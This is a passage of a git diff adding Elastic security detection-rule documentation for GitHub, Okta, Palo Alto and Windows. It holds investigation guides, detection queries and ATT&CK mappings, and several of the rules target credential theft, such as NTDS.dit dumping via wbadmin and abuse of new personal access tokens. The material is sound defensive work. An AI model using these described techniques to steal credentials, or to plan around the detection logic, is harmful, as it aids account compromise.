environments from the rule or setting up a separate monitoring process for them. + + +*Response and remediation* + + +- Immediately revoke the permissions of the newly installed GitHub App to prevent any unauthorized access or data manipulation. +- Notify the security team and relevant stakeholders about the unauthorized app installation for awareness and further investigation. +- Conduct a review of recent repository and organization changes to identify any unauthorized modifications or data access that may have occurred. +- If malicious activity is detected, initiate a rollback of affected repositories to a secure state prior to the app installation. +- Escalate the incident to higher-level security management if the app installation is linked to a broader security breach or if sensitive data has been compromised. +- Implement stricter access controls and approval processes for future GitHub App installations to prevent unauthorized installations. +- Update detection mechanisms to include additional indicators of compromise related to GitHub App installations, enhancing future threat detection capabilities. + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" and event.action == "integration_installation.create" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Software Deployment Tools +** ID: T1072 +** Reference URL: https://attack.mitre.org/techniques/T1072/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-owner-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-owner-added.asciidoc new file mode 100644 index 0000000000..309d3a5a17 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-owner-added.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-new-github-owner-added]] +=== New GitHub Owner Added + +Detects when a new member is added to a GitHub organization as an owner. This role provides admin level privileges. Any new owner roles should be investigated to determine it's validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Persistence +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New GitHub Owner Added* + + +GitHub organizations allow collaborative management of repositories, where the 'owner' role grants full administrative control. Adversaries may exploit this by adding unauthorized owners, gaining unrestricted access to sensitive data and settings. The detection rule monitors audit logs for new admin-level additions, flagging potential unauthorized access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the GitHub audit logs to identify the specific user account that was added as an owner, focusing on the event.action "org.add_member" and github.permission "admin". +- Verify the identity and role of the newly added owner by cross-referencing with internal HR or user management systems to confirm if the addition was authorized. +- Check the activity history of the newly added owner account for any suspicious actions or changes made to repositories or settings since their addition. +- Contact the individual or team responsible for managing GitHub organization permissions to confirm if they were aware of and approved the new owner addition. +- Investigate any recent changes in the organization's membership or access policies that might explain the addition of a new owner. +- Assess the potential impact of the new owner's access by reviewing the repositories and sensitive data they now have administrative control over. + + +*False positive analysis* + + +- Legitimate organizational changes: New owners may be added during legitimate restructuring or team expansions. Regularly review and document organizational changes to differentiate between authorized and unauthorized additions. +- Automated processes: Some organizations use automated scripts or tools to manage GitHub permissions, which might trigger this rule. Identify and whitelist these processes to prevent unnecessary alerts. +- Temporary access requirements: Occasionally, temporary owner access might be granted for specific projects or tasks. Implement a process to track and review these temporary changes, ensuring they are reverted once the task is completed. +- Onboarding of new senior staff: When new senior staff members join, they might be added as owners. Establish a clear onboarding process that includes notifying the security team to avoid false positives. +- Cross-functional team collaborations: In some cases, cross-functional teams may require owner-level access for collaboration. Maintain a list of such collaborations and review them periodically to ensure they remain necessary and authorized. + + +*Response and remediation* + + +- Immediately revoke the admin privileges of the newly added GitHub owner to prevent further unauthorized access. +- Conduct a thorough review of recent changes and activities performed by the unauthorized owner to identify any potential data breaches or malicious actions. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordinated response efforts. +- Reset credentials and enforce multi-factor authentication for all existing GitHub organization owners to enhance security. +- Review and update access control policies to ensure that owner roles are granted only to verified and necessary personnel. +- Implement additional monitoring and alerting for any future changes to GitHub organization roles to detect similar threats promptly. +- If evidence of compromise is found, consider engaging with a digital forensics team to assess the full impact and scope of the breach. + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "github.audit" and event.action == "org.add_member" and github.permission == "admin" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-personal-access-token-pat-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-personal-access-token-pat-added.asciidoc new file mode 100644 index 0000000000..68a57e61a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-personal-access-token-pat-added.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-new-github-personal-access-token-pat-added]] +=== New GitHub Personal Access Token (PAT) Added + +Detects when a new GitHub Personal Access Token (PAT) is created. Adversaries may create new PATs to maintain persistent access to a compromised account or to escalate privileges within an organization. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New GitHub Personal Access Token (PAT) Added* + + +This alert triggers when someone creates and authorizes a new GitHub personal access token, signaling a fresh long‑lived credential that outlasts sessions and enables broad API access. A common abuse path: after compromising a developer account, the adversary mints a PAT with repo and organization scopes and uses it from an external host to enumerate and clone private repositories via the API. + + +*Possible investigation steps* + + +- Retrieve token details (type fine‑grained vs classic, scopes, repository/org binding, and expiration) and verify they match the user’s role and least‑privilege expectations. +- Correlate the creation IP, geolocation, and user agent with the user’s recent login history and corporate network ranges to identify anomalous origin. +- Determine whether the token is SSO‑enforced and organization‑scoped; lack of SSO or broad classic scopes increases risk and warrants expedited review. +- Pivot to recent Git and API events by this actor since the token was created to see private repo enumeration/clones or org/admin actions indicating misuse. +- Check for concurrent account security changes (2FA status modifications, new SSH/GPG keys, email/password changes, or OAuth app grants) that suggest account takeover and escalate if present. + + +*False positive analysis* + + +- A developer performs planned token rotation or migrates from a classic to a fine‑grained PAT to comply with expiration and least‑privilege policies, generating a legitimate personal_access_token.access_granted creation event. +- Expected onboarding or maintenance activities create PATs for service or automation use with scoped repository access and set expiration, producing anticipated alerts from known corporate locations. + + +*Response and remediation* + + +- Revoke the specific PAT referenced in the alert via GitHub UI or API immediately, and temporarily lock the user account if the token’s origin, scopes, or target repositories are not expected. +- If any activity is observed with this PAT, rotate repository and organization secrets, remove newly added deploy keys and suspicious OAuth app grants, and strip unauthorized collaborator or team role changes. +- Force a password reset for the account owner, invalidate active sessions, require fresh 2FA re-enrollment, and delete any other nonessential PATs before restoring normal access. +- Review audit and repository logs for API calls authenticated with this PAT since its creation, block offending source IPs in network controls, and enable GitHub IP allow lists or SSO enforcement to restrict token use to trusted contexts. +- Escalate to incident response if the PAT has admin or organization owner scopes, was created from an unfamiliar location or device, or was used to clone private repositories or change security settings. +- Harden going forward by enforcing fine-grained, expiring, SSO-enforced PATs, disabling classic tokens at the organization, requiring approval for new PATs, and migrating automation to GitHub Apps with least-privilege permissions. + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" and github.operation_type == "create" and +github.category == "personal_access_token" and event.action == "personal_access_token.access_granted" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-self-hosted-action-runner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-self-hosted-action-runner.asciidoc new file mode 100644 index 0000000000..64a39ff0ed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-github-self-hosted-action-runner.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-21-new-github-self-hosted-action-runner]] +=== New GitHub Self Hosted Action Runner + +This rule detects the creation of a self-hosted Github runner from a first time seen user.name in the last 5 days. Adversaries may abuse self-hosted runners to execute workflow jobs on customer infrastructure. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating New GitHub Self Hosted Action Runner* + + +Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host. + + +*Possible investigation steps* + + +- Validate the user is authoried to perform this change +- Review the purpose of the self-hosted action runner and what actions will be executed. +- Verify if there is any adjascent sensitive file access or collection. +- Correlate with other alerts and investiguate if this activity is related to a supply chain attack. + + +*False positive analysis* + + +- Authorized github self-hosted actions runner. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes that were initiated by the Github actions runner. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Implement application whitelisting to prevent unauthorized execution. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"github.audit" and + event.category:"configuration" and + event.action: ( + "repo.register_self_hosted_runner" or + "org.register_self_hosted_runner" or + "enterprise.register_self_hosted_runner" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-okta-identity-provider-idp-added-by-admin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-okta-identity-provider-idp-added-by-admin.asciidoc new file mode 100644 index 0000000000..adc76ca0c5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-new-okta-identity-provider-idp-added-by-admin.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-new-okta-identity-provider-idp-added-by-admin]] +=== New Okta Identity Provider (IdP) Added by Admin + +Detects the creation of a new Identity Provider (IdP) by a Super Administrator or Organization Administrator within Okta. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://unit42.paloaltonetworks.com/muddled-libra/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating New Okta Identity Provider (IdP) Added by Admin* + + +This rule detects the creation of a new Identity Provider (IdP) by a Super Administrator or Organization Administrator within Okta. + + +*Possible investigation steps:* + +- Identify the actor associated with the IdP creation by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Identify the IdP added by reviewing the `okta.target` field and determing if this IdP is authorized. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- If the client is a device, check the `okta.device.id`, `okta.device.name`, `okta.device.os_platform`, `okta.device.os_version`, and `okta.device.managed` fields. +- Review the past activities of the actor involved in this action by checking their previous actions logged in the `okta.target` field. +- Examine the `okta.request.ip_chain` field to potentially determine if the actor used a proxy or VPN to perform this action. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- It might be a false positive if the action was part of a planned activity or performed by an authorized person. +- Several unsuccessful attempts prior to this success, may indicate an adversary attempting to add an unauthorized IdP multiple times. + + +*Response and remediation:* + +- If the IdP is unauthorized, deactivate it immediately via the Okta console. +- If the IdP is authorized, ensure that the actor who created it is authorized to do so. +- If the actor is unauthorized, deactivate their account via the Okta console. +- If the actor is authorized, ensure that the actor's account is not compromised. +- Reset the user's password and enforce MFA re-enrollment, if applicable. +- Block the IP address or device used in the attempts if they appear suspicious, using the data from the `okta.client.ip` and `okta.device.id` fields. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- If the deactivated IdP was crucial to the organization, consider adding a new IdP and removing the unauthorized IdP. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "okta.system" and event.action: "system.idp.lifecycle.create" and okta.outcome.result: "SUCCESS" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-newly-observed-high-severity-detection-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-newly-observed-high-severity-detection-alert.asciidoc new file mode 100644 index 0000000000..3e6115033b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-newly-observed-high-severity-detection-alert.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-newly-observed-high-severity-detection-alert]] +=== Newly Observed High Severity Detection Alert + +This rule detects Elastic SIEM high severity detection alerts that are observed for the first time in the previous 5 days of alert history. It highlights low-volume, newly observed alerts tied to a specific detection rule, analysts can use this to prioritize triage and response. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/solutions/security/detect-and-alert/about-detection-rules + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Newly Observed High Severity Detection Alert* + + +This rule surfaces newly observed, low-frequency behavior high severity alerts affecting a single agent within the current day. + +Because the alert has not been seen previously for this rule and host, it should be prioritized for validation to determine +whether it represents a true compromise or rare benign activity. + + +*Investigation Steps* + + +- Identify the affected host, user and review the associated rule name to understand the behavior that triggered the alert. +- Validate the user context under which the activity occurred and assess whether it aligns with normal behavior for that account. +- Refer to the specific rule investiguation guide for further actions. + + +*False Positive Considerations* + + +- Newly deployed or updated software may introduce behavior not previously observed on the host. +- Administrative scripts or automation tools can trigger behavior-based detections when first introduced. +- Security tooling, IT management agents, or EDR integrations may generate new behavior alerts during updates or configuration changes. +- Development or testing environments may produce one-off behaviors that resemble malicious techniques. + + +*Response and Remediation* + + +- If the activity is confirmed malicious, isolate the affected host to prevent further execution or lateral movement. +- Terminate malicious processes and remove any dropped files or persistence mechanisms. +- Collect forensic artifacts to understand initial access and execution flow. +- Patch or remediate any vulnerabilities or misconfigurations that enabled the behavior. +- If benign, document the finding and consider tuning or exception handling to reduce future noise. +- Continue monitoring the host and environment for recurrence of the behavior or related alerts. + +==== Rule query + + +[source, js] +---------------------------------- +FROM .alerts-security.* +| where kibana.alert.rule.name is not null and kibana.alert.risk_score >= 73 and + not kibana.alert.rule.type in ("threat_match", "machine_learning", "new_terms") and + not kibana.alert.rule.name like "Deprecated - *" and kibana.alert.rule.name != "My First Rule" and + // covered by 7306ce7d-5c90-4f42-aa6c-12b0dc2fe3b8 + data_stream.dataset != "endpoint.alerts" and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) +| STATS Esql.alerts_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.last_time_seen = MAX(@timestamp), + Esql.process_executable = VALUES(process.executable), + Esql.cmd_line = VALUES(process.command_line), + Esql.parent_executable = VALUES(process.parent.executable), + Esql.file_path_values = VALUES(file.path), + Esql.file_path_values = VALUES(file.path), + Esql.dll_path_values = VALUES(dll.path), + Esql.user_id_values = VALUES(user.id), + Esql.user_name_values = VALUES(user.name), + Esql.agent_id_values = VALUES(agent.id), + Esql.host_id_values = VALUES(host.id), + Esql.event_module_values = VALUES(event.module), + Esql.source_ip_values = VALUES(source.ip), + Esql.rule_name_values = VALUES(kibana.alert.rule.name), + Esql.agents_distinct_count = COUNT_DISTINCT(agent.id) by kibana.alert.rule.name +// fist time seen in the last 5 days - defined in the rule schedule Additional look-back time +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +// first time seen is within 10m of the rule execution time +| where Esql.recent <= 10 and Esql.agents_distinct_count == 1 and Esql.alerts_count <= 10 and (Esql.last_time_seen == Esql.first_time_seen) + +// Move single values to their corresponding ECS fields for alerts exclusion +| eval host.id = mv_min(Esql.host_id_values) + +| keep host.id, kibana.alert.rule.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-newly-observed-palo-alto-network-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-newly-observed-palo-alto-network-alert.asciidoc new file mode 100644 index 0000000000..25220f50c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-newly-observed-palo-alto-network-alert.asciidoc @@ -0,0 +1,114 @@ +[[prebuilt-rule-8-19-21-newly-observed-palo-alto-network-alert]] +=== Newly Observed Palo Alto Network Alert + +This rule detects Palo Alto Network alerts that are observed for the first time in the previous 5 days of alert history. Analysts can use this to prioritize triage and response. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/panw + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Domain: Network +* Data Source: PAN-OS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Newly Observed Palo Alto Network Alert* + + +This rule surfaces newly observed, low-frequency high severity Palo Alto Network alert within the last 5 days. + +Because the alert has not been seen previously for this rule and host, it should be prioritized for validation to determine +whether it represents a true compromise or rare benign activity. + + +*Investigation Steps* + + +- Identify the source address, affected host and review the associated rule name to understand the behavior that triggered the alert. +- Validate the source address under which the activity occurred and assess whether it aligns with normal behavior. +- Refer to the specific alert details like event.original to get more context. + + +*False Positive Considerations* + + +- Vulnerability scanners and pentesting. +- Administrative scripts or automation tools can trigger detections when first introduced. +- Development or testing environments may produce one-off behaviors that resemble malicious techniques. + + +*Response and Remediation* + + +- If the activity is confirmed malicious, isolate the affected host to prevent further execution or lateral movement. +- Terminate malicious processes and remove any dropped files or persistence mechanisms. +- Collect forensic artifacts to understand initial access and execution flow. +- Patch or remediate any vulnerabilities or misconfigurations that enabled the behavior. +- If benign, document the finding and consider tuning or exception handling to reduce future noise. +- Continue monitoring the host and environment for recurrence of the behavior or related alerts. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-panw.panos-*, filebeat-* metadata _id + +// exclude Informational and Low severity levels (4 and 5) +| where data_stream.dataset == "panw.panos" and TO_INTEGER(event.severity) <= 3 and event.action != "flood_detected" + +| STATS Esql.alerts_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.distinct_count_src_ip = COUNT_DISTINCT(source.ip), + Esql.distinct_count_dst_ip = COUNT_DISTINCT(destination.ip), + src_ip = VALUES(source.ip), + dst_ip = VALUES(destination.ip), + url_dom = VALUES(url.domain), + url_path = VALUES(url.path) by rule.name, event.action, event.type, event.kind, event.severity + +// first time seen is within 10m of the rule execution time within last 5 days +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +| where Esql.recent <= 10 and Esql.alerts_count <= 5 and Esql.distinct_count_src_ip <= 2 and Esql.distinct_count_dst_ip <= 2 + +// move dynamic fields to ECS quivalent for rule exceptions +| eval source.ip = MV_FIRST(src_ip), + destination.ip = MV_FIRST(dst_ip), + url.domain = MV_FIRST(url_dom), + url.path = MV_FIRST(url_path) +| keep rule.name, event.*, Esql.*, source.ip, destination.ip, url.domain, url.path + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ntds-dump-via-wbadmin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ntds-dump-via-wbadmin.asciidoc new file mode 100644 index 0000000000..d627966b84 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-ntds-dump-via-wbadmin.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-21-ntds-dump-via-wbadmin]] +=== NTDS Dump via Wbadmin + +Identifies the execution of wbadmin to access the NTDS.dit file in a domain controller. Attackers with privileges from groups like Backup Operators can abuse the utility to perform credential access and compromise the domain. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating NTDS Dump via Wbadmin* + + +Wbadmin is a Windows utility for backup and recovery, often used by administrators to safeguard critical data. However, adversaries with sufficient privileges, such as those in the Backup Operators group, can exploit it to access the NTDS.dit file on domain controllers, which contains sensitive credential information. The detection rule identifies suspicious use of wbadmin by monitoring for its execution with specific arguments related to NTDS.dit, helping to flag potential credential dumping activities. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of wbadmin.exe with the specific arguments related to NTDS.dit, as indicated by the process.command_line field. +- Check the user account associated with the process execution to determine if it belongs to a privileged group such as Backup Operators, which could indicate potential misuse of privileges. +- Investigate the source host identified by host.os.type to determine if it is a domain controller, as this would be a critical factor in assessing the risk of the activity. +- Correlate the event with other security logs or alerts from data sources like Microsoft Defender XDR or Sysmon to identify any related suspicious activities or patterns. +- Examine recent changes or access attempts to the NTDS.dit file on the domain controller to identify any unauthorized access or modifications. +- Assess the risk score and severity level to prioritize the investigation and determine if immediate response actions are necessary. + + +*False positive analysis* + + +- Scheduled backups by legitimate IT staff can trigger the rule. Verify the identity and role of the user executing wbadmin and consider excluding known backup schedules from detection. +- Automated recovery processes in disaster recovery plans might use wbadmin with similar arguments. Review and whitelist these processes if they are part of approved recovery procedures. +- Security audits or compliance checks may involve accessing NTDS.dit for validation purposes. Confirm the legitimacy of these activities and exclude them if they are part of regular audits. +- Test environments that mimic production setups might execute similar commands. Ensure these environments are properly documented and excluded from detection if they are used for testing purposes. + + +*Response and remediation* + + +- Immediately isolate the affected domain controller from the network to prevent further 